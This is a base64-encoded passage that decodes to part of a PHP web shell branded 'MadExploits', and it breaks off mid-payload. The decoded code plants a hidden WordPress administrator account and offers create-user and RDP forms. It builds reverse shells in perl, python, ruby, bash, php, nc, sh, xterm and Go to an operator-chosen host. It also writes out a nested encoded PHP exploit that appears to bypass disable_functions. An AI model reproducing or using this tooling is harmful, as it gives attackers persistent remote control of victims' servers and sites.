DM+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48aW5wdXQgdHlwZT0ibnVtYmVyIiBuYW1lPSJjaEZpbGUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSIwNzc1Ij48L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxidXR0b24gY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IGNsb3NlLWJ0bi1zIj5DbG9zZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPD9waHAgZW5kaWY7ID8+DQogICAgPHNjcmlwdD4NCiAgICAgICAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7DQoNCg0KICAgICAgICAgICAgJCgnI2NyZWF0ZV9mb2xkZXInKS5jbGljayhmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5zaG93KCk7DQogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnPGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZvbGRlci1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZvbGRlcicpOw0KICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjcmVhdGVfZm9sZGVyIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iQ3JlYXRlIEZvbGRlciI+Jyk7DQogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgJCgnI2NyZWF0ZV9maWxlJykuY2xpY2soZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOw0KICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1maWxlLWNpcmNsZS1wbHVzIj48L2k+Jm5ic3A7Q3JlYXRlIEZpbGUnKTsNCiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtaW5wdXQnKS5odG1sKCc8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX2ZpbGUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJDcmVhdGUgRmlsZSI+Jyk7DQogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgJCgnI2xvY2stZmlsZScpLmNsaWNrKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLnNob3coKTsNCiAgICAgICAgICAgICAgICAkKCcjbW9kYWwtdGl0bGUnKS5odG1sKCc8aSBjbGFzcz0iZmEtc29saWQgZmEtbG9jayI+PC9pPiZuYnNwO0xPQ0sgRklMRScpOw0KICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2NrZmlsZSIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IllvdXIgRmlsZSBOYW1lIj4nKTsNCiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAkKCcjcm9vdC11c2VyJykuY2xpY2soZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgJCgnLm1vZGFsJykuc2hvdygpOw0KICAgICAgICAgICAgICAgICQoJyNtb2RhbC10aXRsZScpLmh0bWwoJzxpIGNsYXNzPSJmYS1zb2xpZCBmYS11c2VyLXBsdXMiPjwvaT4mbmJzcDtBREQgVVNFUicpOw0KICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhZGQtdXNlcm5hbWUiIGNsYXNzPSJtb2RhbC1jcmVhdGUtaW5wdXQiIHBsYWNlaG9sZGVyPSJVc2VybmFtZSI+PGJyPjxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRkLXBhc3N3b3JkIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPicpOw0KICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgJCgnI2NyZWF0ZS1yZHAnKS5jbGljayhmdW5jdGlvbigpIHsNCiAgICAgICAgICAgICAgICAkKCcubW9kYWwnKS5zaG93KCk7DQogICAgICAgICAgICAgICAgJCgnI21vZGFsLXRpdGxlJykuaHRtbCgnOjogQ1JFQVRFIFJEUCcpOw0KICAgICAgICAgICAgICAgICQoJyNtb2RhbC1pbnB1dCcpLmh0bWwoJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJhZGQtcmRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiPjxicj48YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImFkZC1yZHAtcGFzcyIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIj4nKTsNCiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgICQoJyNjbG9zZS1tb2RhbCcpLmNsaWNrKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLmhpZGUoKTsNCiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAkKCcjY2xvc2UtZWRpdG9yJykuY2xpY2soZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgJCgnLmNvZGUtZWRpdG9yJykuaGlkZSgpOw0KICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgJCgnLmNsb3NlLXRlcm1pbmFsJykuY2xpY2soZnVuY3Rpb24oKSB7DQogICAgICAgICAgICAgICAgJCgnLnRlcm1pbmFsJykuaGlkZSgpOw0KICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICQoJy5jbG9zZS1idG4tcycpLmNsaWNrKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICQoJy5tb2RhbCcpLmhpZGUoKTsNCiAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgfSk7DQoNCg0KICAgICAgICAgICAgdmFyIG15VGV4dGFyZWEgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29kZSIpOw0KDQogICAgICAgICAgICB2YXIgZWRpdG9yID0gQ29kZU1pcnJvci5mcm9tVGV4dEFyZWEobXlUZXh0YXJlYSwgew0KICAgICAgICAgICAgICAgIG1vZGU6ICJ4bWwiLA0KICAgICAgICAgICAgICAgIGxpbmVOdW1iZXJzOiB0cnVlLA0KICAgICAgICAgICAgICAgIHRoZW1lOiAiYXl1LW1pcmFnZSIsDQogICAgICAgICAgICAgICAgZXh0cmFLZXlzOiB7DQogICAgICAgICAgICAgICAgICAgICJDdHJsLVNwYWNlIjogImF1dG9jb21wbGV0ZSINCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgIGhpbnRPcHRpb25zOiB7DQogICAgICAgICAgICAgICAgICAgIGNvbXBsZXRlU2luZ2xlOiBmYWxzZSwNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgfSk7DQogICAgPC9zY3JpcHQ+DQo8L2JvZHk+DQoNCjwvaHRtbD4NCjw/cGhwDQoNCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdHdwJ10pKSB7DQogICAgJGRiX25hbWUgPSAkX1BPU1RbJ2RiX25hbWUnXTsNCiAgICAkZGJfdXNlciA9ICRfUE9TVFsnZGJfdXNlciddOw0KICAgICRkYl9wYXNzID0gJF9QT1NUWydkYl9wYXNzJ107DQogICAgJGRiX2hvc3QgPSAkX1BPU1RbJ2RiX2hvc3QnXTsNCiAgICAkd3BfdXNlciA9ICRfUE9TVFsnd3BfdXNlciddOw0KICAgICR3cF9wYXNzID0gcGFzc3dvcmRfaGFzaCgkX1BPU1RbJ3dwX3Bhc3MnXSwgUEFTU1dPUkRfREVGQVVMVCk7DQoNCiAgICAkY29ubiA9IG5ldyBteXNxbGkoJGRiX2hvc3QsICRkYl91c2VyLCAkZGJfcGFzcywgJGRiX25hbWUpOw0KDQogICAgaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7DQogICAgICAgIGZhaWxlZCgpOw0KICAgICAgICBkaWUoIkVycm9yIEN1ZyA6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7DQogICAgfQ0KDQogICAgJHNxbCA9ICJJTlNFUlQgSU5UTyB3cF91c2VycyAodXNlcl9sb2dpbiwgdXNlcl9wYXNzLCB1c2VyX25pY2VuYW1lLCB1c2VyX2VtYWlsLCB1c2VyX3VybCwgdXNlcl9yZWdpc3RlcmVkLCB1c2VyX2FjdGl2YXRpb25fa2V5LCB1c2VyX3N0YXR1cywgZGlzcGxheV9uYW1lKSBWQUxVRVMgKCckd3BfdXNlcicsICckd3BfcGFzcycsICdNYWRFeHBsb2l0cycsICcnLCAnJywgTk9XKCksICcnLCAwLCAnTWFkRXhwbG9pdHMnKSI7DQoNCiAgICAkc3FsdGFrZXVzZXJpZCA9ICJTRUxFQ1QgSUQgRlJPTSB3cF91c2VycyBXSEVSRSB1c2VyX2xvZ2luID0gJyR3cF91c2VyJyI7DQoNCiAgICBpZiAoJGNvbm4tPnF1ZXJ5KCRzcWwpID09PSBUUlVFICYmICRjb25uLT5xdWVyeSgkc3FsdGFrZXVzZXJpZCkpIHsNCiAgICAgICAgJHJlc3VsdCA9ICRjb25uLT5xdWVyeSgkc3FsdGFrZXVzZXJpZCk7DQoNCiAgICAgICAgaWYgKCRyZXN1bHQtPm51bV9yb3dzID4gMCkgew0KICAgICAgICAgICAgJHJvdyA9ICRyZXN1bHQtPmZldGNoX2Fzc29jKCk7DQogICAgICAgICAgICAkdXNlcl9pZCA9ICRyb3dbIklEIl07DQoNCiAgICAgICAgICAgICRzcWx1c2VybWV0YSA9ICJJTlNFUlQgSU5UTyB3cF91c2VybWV0YSAodW1ldGFfaWQsIHVzZXJfaWQsIG1ldGFfa2V5LCBtZXRhX3ZhbHVlKSBWQUxVRVMgKCcnLCAkdXNlcl9pZCwgJ3dwX2NhcGFiaWxpdGllcycsICdhOjE6e3M6MTM6XCJhZG1pbmlzdHJhdG9yXCI7czoxOlwiMVwiO30nKSI7DQoNCiAgICAgICAgICAgIGlmICgkY29ubi0+cXVlcnkoJHNxbHVzZXJtZXRhKSA9PT0gVFJVRSkgew0KICAgICAgICAgICAgICAgIFN1Y2Nlc3MoKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAiRXJyb3I6ICIgLiAkc3FsdXNlcm1ldGEgLiAiXG4iIC4gJGNvbm4tPmVycm9yOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiVXNlciB0aWRhayBkaXRlbXVrYW4uXG4iOw0KICAgICAgICB9DQoNCiAgICAgICAgU3VjY2VzcygpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gIkVycm9yOiAiIC4gJHNxbCAuICJcbiIgLiAkY29ubi0+ZXJyb3I7DQogICAgfQ0KDQogICAgJGNvbm4tPmNsb3NlKCk7DQp9DQoNCg0KDQppZiAoaXNzZXQoJF9HRVRbJ3VubG9ja3NoZWxsJ10pKSB7DQogICAgaWYgKGNtZCgia2lsbGFsbCAtOSBwaHAiKSAmJiBjbWQoInBraWxsIC05IHBocCIpKSB7DQogICAgICAgIHN1Y2Nlc3MoKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBmYWlsZWQoKTsNCiAgICB9DQp9DQoNCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1iYyddKSkgew0KICAgICRIb3N0U2VydmVyID0gJF9QT1NUWydiYWNrY29ubmVjdC1ob3N0J107DQogICAgJFBvcnRTZXJ2ZXIgPSAkX1BPU1RbJ2JhY2tjb25uZWN0LXBvcnQnXTsNCiAgICBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJwZXJsIikgew0KICAgICAgICBlY2hvIGNtZCgncGVybCAtZSBcJ3VzZSBTb2NrZXQ7JGk9IicgLiAkSG9zdFNlcnZlciAuICciOyRwPScgLiAkUG9ydFNlcnZlciAuICc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7JyAuICRmdW5nc2lbMTZdIC4gJygiL2Jpbi9zaCAtaSIpO307XCcnKTsNCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAicHl0aG9uIikgew0KICAgICAgICBlY2hvIGNtZCgncHl0aG9uIC1jIFwnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIicgLiAkSG9zdFNlcnZlciAuICciLCcgLiAkUG9ydFNlcnZlciAuICcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pO1wnJyk7DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInJ1YnkiKSB7DQogICAgICAgIGVjaG8gY21kKCdydWJ5IC1yc29ja2V0IC1lXCdmPVRDUFNvY2tldC5vcGVuKCInIC4gJEhvc3RTZXJ2ZXIgLiAnIiwnIC4gJFBvcnRTZXJ2ZXIgLiAnKS50b19pOycgLiAkZnVuZ3NpWzE2XSAuICcgc3ByaW50ZigiL2Jpbi9zaCAtaSA8JiVkID4mJWQgMj4mJWQiLGYsZixmKVwnJyk7DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gImJhc2giKSB7DQogICAgICAgIGVjaG8gY21kKCdiYXNoIC1pID4mIC9kZXYvdGNwLycgLiAkSG9zdFNlcnZlciAuICcvJyAuICRQb3J0U2VydmVyIC4gJyAwPiYxJyk7DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInBocCIpIHsNCiAgICAgICAgZWNobyBjbWQoJ3BocCAtciBcJyRzb2NrPWZzb2Nrb3BlbigiJyAuICRIb3N0U2VydmVyIC4gJyIsJyAuICRQb3J0U2VydmVyIC4gJyk7JyAuICRmdW5nc2lbMTZdIC4gJygiL2Jpbi9zaCAtaSA8JjMgPiYzIDI+JjMiKTtcJycpOw0KICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJuYyIpIHsNCiAgICAgICAgZWNobyBjbWQoJ3JtIC90bXAvZjtta2ZpZm8gL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jICcgLiAkSG9zdFNlcnZlciAuICcgJyAuICRQb3J0U2VydmVyIC4gJyA+L3RtcC9mJyk7DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInNoIikgew0KICAgICAgICBlY2hvIGNtZCgnc2ggLWkgPiYgL2Rldi90Y3AvJyAuICRIb3N0U2VydmVyIC4gJy8nIC4gJFBvcnRTZXJ2ZXIgLiAnIDA+JjEnKTsNCiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAieHRlcm0iKSB7DQogICAgICAgIGVjaG8gY21kKCd4dGVybSAtZGlzcGxheSAnIC4gJEhvc3RTZXJ2ZXIgLiAnOicgLiAkUG9ydFNlcnZlcik7DQogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gImdvbGFuZyIpIHsNCiAgICAgICAgZWNobyBjbWQoJ2VjaG8gXCdwYWNrYWdlIG1haW47aW1wb3J0Im9zLycgLiAkZnVuZ3NpWzE2XSAuICciO2ltcG9ydCJuZXQiO2Z1bmMgbWFpbigpe2MsXzo9bmV0LkRpYWwoInRjcCIsIicgLiAkSG9zdFNlcnZlciAuICc6JyAuICRQb3J0U2VydmVyIC4gJyIpO2NtZDo9ZXhlYy5Db21tYW5kKCIvYmluL3NoIik7Y21kLlN0ZGluPWM7Y21kLlN0ZG91dD1jO2NtZC5TdGRlcnI9YztjbWQuUnVuKCl9XCcgPiAvdG1wL3QuZ28gJiYgZ28gcnVuIC90bXAvdC5nbyAmJiBybSAvdG1wL3QuZ28nKTsNCiAgICB9DQp9DQoNCg0KaWYgKCRfR0VUWyd0ZXJtaW5hbCddID09ICJieXBhc3NlciIpIHsNCiAgICBpZiAoISRmdW5nc2lbM10oJy50ZXJtLWJ5cGFzcycpICYmICRmdW5nc2lbNF0oJGZ1bmdzaVswXSgpKSkgew0KICAgICAgICAkY29ubnQgPSAnUEQ5d2FIQUtablZ1WTNScGIyNGdjSGR1S0NSamJXUmtLU0I3Q2lBZ0lDQm5iRzlpWVd3Z0pHRmlZeXdnSkdobGJIQmxjaXdnSkdKaFkydDBjbUZqWlRzS0NpQWdJQ0JqYkdGemN5QldkV3h1SUhzS0lDQWdJQ0FnSUNCd2RXSnNhV01nSkdFN0NpQWdJQ0FnSUNBZ2NIVmliR2xqSUdaMWJtTjBhVzl1SUY5ZlpHVnpkSEoxWTNRb0tTQjdJQW9nSUNBZ0lDQWdJQ0FnSUNCbmJHOWlZV3dnSkdKaFkydDBjbUZqWlRzZ0NpQWdJQ0FnSUNBZ0lDQWdJSFZ1YzJWMEtDUjBhR2x6TFQ1aEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnSkdKaFkydDBjbUZqWlNBOUlDaHVaWGNnUlhoalpYQjBhVzl1S1MwK1oyVjBWSEpoWTJVb0tUc2dJeUE3S1FvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdoYVhOelpYUW9KR0poWTJ0MGNtRmpaVnN4WFZzbllYSm5jeWRkS1NrZ2V5QWpJRkJJVUNBK1BTQTNMalFLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ1JpWVdOcmRISmhZMlVnUFNCa1pXSjFaMTlpWVdOcmRISmhZMlVvS1RzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtDaUFnSUNCamJHRnpjeUJJWld4d1pYSWdld29nSUNBZ0lDQWdJSEIxWW14cFl5QWtZU3dnSkdJc0lDUmpMQ0FrWkRzS0lDQWdJSDBLQ2lBZ0lDQm1kVzVqZEdsdmJpQnpkSEl5Y0hSeUtDWWtjM1J5TENBa2NDQTlJREFzSUNSeklEMGdPQ2tnZXdvZ0lDQWdJQ0FnSUNSaFpHUnlaWE56SUQwZ01Ec0tJQ0FnSUNBZ0lDQm1iM0lvSkdvZ1BTQWtjeTB4T3lBa2FpQStQU0F3T3lBa2FpMHRLU0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDUmhaR1J5WlhOeklEdzhQU0E0T3dvZ0lDQWdJQ0FnSUNBZ0lDQWtZV1JrY21WemN5QjhQU0J2Y21Rb0pITjBjbHNrY0Nza2FsMHBPd29nSUNBZ0lDQWdJSDBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR0ZrWkhKbGMzTTdDaUFnSUNCOUNnb2dJQ0FnWm5WdVkzUnBiMjRnY0hSeU1uTjBjaWdrY0hSeUxDQWtiU0E5SURncElIc0tJQ0FnSUNBZ0lDQWtiM1YwSUQwZ0lpSTdDaUFnSUNBZ0lDQWdabTl5SUNna2FUMHdPeUFrYVNBOElDUnRPeUFrYVNzcktTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNSdmRYUWdMajBnWTJoeUtDUndkSElnSmlBd2VHWm1LVHNLSUNBZ0lDQWdJQ0FnSUNBZ0pIQjBjaUErUGowZ09Ec0tJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdjbVYwZFhKdUlDUnZkWFE3Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z2QzSnBkR1VvSmlSemRISXNJQ1J3TENBa2Rpd2dKRzRnUFNBNEtTQjdDaUFnSUNBZ0lDQWdKR2tnUFNBd093b2dJQ0FnSUNBZ0lHWnZjaWdrYVNBOUlEQTdJQ1JwSUR3Z0pHNDdJQ1JwS3lzcElIc0tJQ0FnSUNBZ0lDQWdJQ0FnSkhOMGNsc2tjQ0FySUNScFhTQTlJR05vY2lna2RpQW1JREI0Wm1ZcE93b2dJQ0FnSUNBZ0lDQWdJQ0FrZGlBK1BqMGdPRHNLSUNBZ0lDQWdJQ0I5Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z2JHVmhheWdrWVdSa2Npd2dKSEFnUFNBd0xDQWtjeUE5SURncElIc0tJQ0FnSUNBZ0lDQm5iRzlpWVd3Z0pHRmlZeXdnSkdobGJIQmxjanNLSUNBZ0lDQWdJQ0IzY21sMFpTZ2tZV0pqTENBd2VEWTRMQ0FrWVdSa2NpQXJJQ1J3SUMwZ01IZ3hNQ2s3Q2lBZ0lDQWdJQ0FnSkd4bFlXc2dQU0J6ZEhKc1pXNG9KR2hsYkhCbGNpMCtZU2s3Q2lBZ0lDQWdJQ0FnYVdZb0pITWdJVDBnT0NrZ2V5QWtiR1ZoYXlBbFBTQXlJRHc4SUNna2N5QXFJRGdwSUMwZ01Uc2dmUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQWtiR1ZoYXpzS0lDQWdJSDBLQ2lBZ0lDQm1kVzVqZEdsdmJpQndZWEp6WlY5bGJHWW9KR0poYzJVcElIc0tJQ0FnSUNBZ0lDQWtaVjkwZVhCbElEMGdiR1ZoYXlna1ltRnpaU3dnTUhneE1Dd2dNaWs3Q2dvZ0lDQWdJQ0FnSUNSbFgzQm9iMlptSUQwZ2JHVmhheWdrWW1GelpTd2dNSGd5TUNrN0NpQWdJQ0FnSUNBZ0pHVmZjR2hsYm5SemFYcGxJRDBnYkdWaGF5Z2tZbUZ6WlN3Z01IZ3pOaXdnTWlrN0NpQWdJQ0FnSUNBZ0pHVmZjR2h1ZFcwZ1BTQnNaV0ZyS0NSaVlYTmxMQ0F3ZURNNExDQXlLVHNLQ2lBZ0lDQWdJQ0FnWm05eUtDUnBJRDBnTURzZ0pHa2dQQ0FrWlY5d2FHNTFiVHNnSkdrckt5a2dld29nSUNBZ0lDQWdJQ0FnSUNBa2FHVmhaR1Z5SUQwZ0pHSmhjMlVnS3lBa1pWOXdhRzltWmlBcklDUnBJQ29nSkdWZmNHaGxiblJ6YVhwbE93b2dJQ0FnSUNBZ0lDQWdJQ0FrY0Y5MGVYQmxJQ0E5SUd4bFlXc29KR2hsWVdSbGNpd2dNQ3dnTkNrN0NpQWdJQ0FnSUNBZ0lDQWdJQ1J3WDJac1lXZHpJRDBnYkdWaGF5Z2thR1ZoWkdWeUxDQTBMQ0EwS1RzS0lDQWdJQ0FnSUNBZ0lDQWdKSEJmZG1Ga1pISWdQU0JzWldGcktDUm9aV0ZrWlhJc0lEQjRNVEFwT3dvZ0lDQWdJQ0FnSUNBZ0lDQWtjRjl0WlcxemVpQTlJR3hsWVdzb0pHaGxZV1JsY2l3Z01IZ3lPQ2s3Q2dvZ0lDQWdJQ0FnSUNBZ0lDQnBaaWdrY0Y5MGVYQmxJRDA5SURFZ0ppWWdKSEJmWm14aFozTWdQVDBnTmlrZ2V5QWpJRkJVWDB4UFFVUXNJRkJHWDFKbFlXUmZWM0pwZEdVS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNNZ2FHRnVaR3hsSUhCcFpRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0pHUmhkR0ZmWVdSa2NpQTlJQ1JsWDNSNWNHVWdQVDBnTWlBL0lDUndYM1poWkdSeUlEb2dKR0poYzJVZ0t5QWtjRjkyWVdSa2Nqc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDUmtZWFJoWDNOcGVtVWdQU0FrY0Y5dFpXMXplanNLSUNBZ0lDQWdJQ0FnSUNBZ2ZTQmxiSE5sSUdsbUtDUndYM1I1Y0dVZ1BUMGdNU0FtSmlBa2NGOW1iR0ZuY3lBOVBTQTFLU0I3SUNNZ1VGUmZURTlCUkN3Z1VFWmZVbVZoWkY5bGVHVmpDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtkR1Y0ZEY5emFYcGxJRDBnSkhCZmJXVnRjM283Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlDZ29nSUNBZ0lDQWdJR2xtS0NFa1pHRjBZVjloWkdSeUlIeDhJQ0VrZEdWNGRGOXphWHBsSUh4OElDRWtaR0YwWVY5emFYcGxLUW9nSUNBZ0lDQWdJQ0FnSUNCeVpYUjFjbTRnWm1Gc2MyVTdDZ29nSUNBZ0lDQWdJSEpsZEhWeWJpQmJKR1JoZEdGZllXUmtjaXdnSkhSbGVIUmZjMmw2WlN3Z0pHUmhkR0ZmYzJsNlpWMDdDaUFnSUNCOUNnb2dJQ0FnWm5WdVkzUnBiMjRnWjJWMFgySmhjMmxqWDJaMWJtTnpLQ1JpWVhObExDQWtaV3htS1NCN0NpQWdJQ0FnSUNBZ2JHbHpkQ2drWkdGMFlWOWhaR1J5TENBa2RHVjRkRjl6YVhwbExDQWtaR0YwWVY5emFYcGxLU0E5SUNSbGJHWTdDaUFnSUNBZ0lDQWdabTl5S0NScElEMGdNRHNnSkdrZ1BDQWtaR0YwWVY5emFYcGxJQzhnT0RzZ0pHa3JLeWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWtiR1ZoYXlBOUlHeGxZV3NvSkdSaGRHRmZZV1JrY2l3Z0pHa2dLaUE0S1RzS0lDQWdJQ0FnSUNBZ0lDQWdhV1lvSkd4bFlXc2dMU0FrWW1GelpTQStJREFnSmlZZ0pHeGxZV3NnTFNBa1ltRnpaU0E4SUNSa1lYUmhYMkZrWkhJZ0xTQWtZbUZ6WlNrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0pHUmxjbVZtSUQwZ2JHVmhheWdrYkdWaGF5azdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWpJQ2RqYjI1emRHRnVkQ2NnWTI5dWMzUmhiblFnWTJobFkyc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHbG1LQ1JrWlhKbFppQWhQU0F3ZURjME5tVTJNVGMwTnpNMlpUWm1Oak1wQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1kyOXVkR2x1ZFdVN0NpQWdJQ0FnSUNBZ0lDQWdJSDBnWld4elpTQmpiMjUwYVc1MVpUc0tDaUFnSUNBZ0lDQWdJQ0FnSUNSc1pXRnJJRDBnYkdWaGF5Z2taR0YwWVY5aFpHUnlMQ0FvSkdrZ0t5QTBLU0FxSURncE93b2dJQ0FnSUNBZ0lDQWdJQ0JwWmlna2JHVmhheUF0SUNSaVlYTmxJRDRnTUNBbUppQWtiR1ZoYXlBdElDUmlZWE5sSUR3Z0pHUmhkR0ZmWVdSa2NpQXRJQ1JpWVhObEtTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtaR1Z5WldZZ1BTQnNaV0ZyS0NSc1pXRnJLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ01nSjJKcGJqSm9aWGdu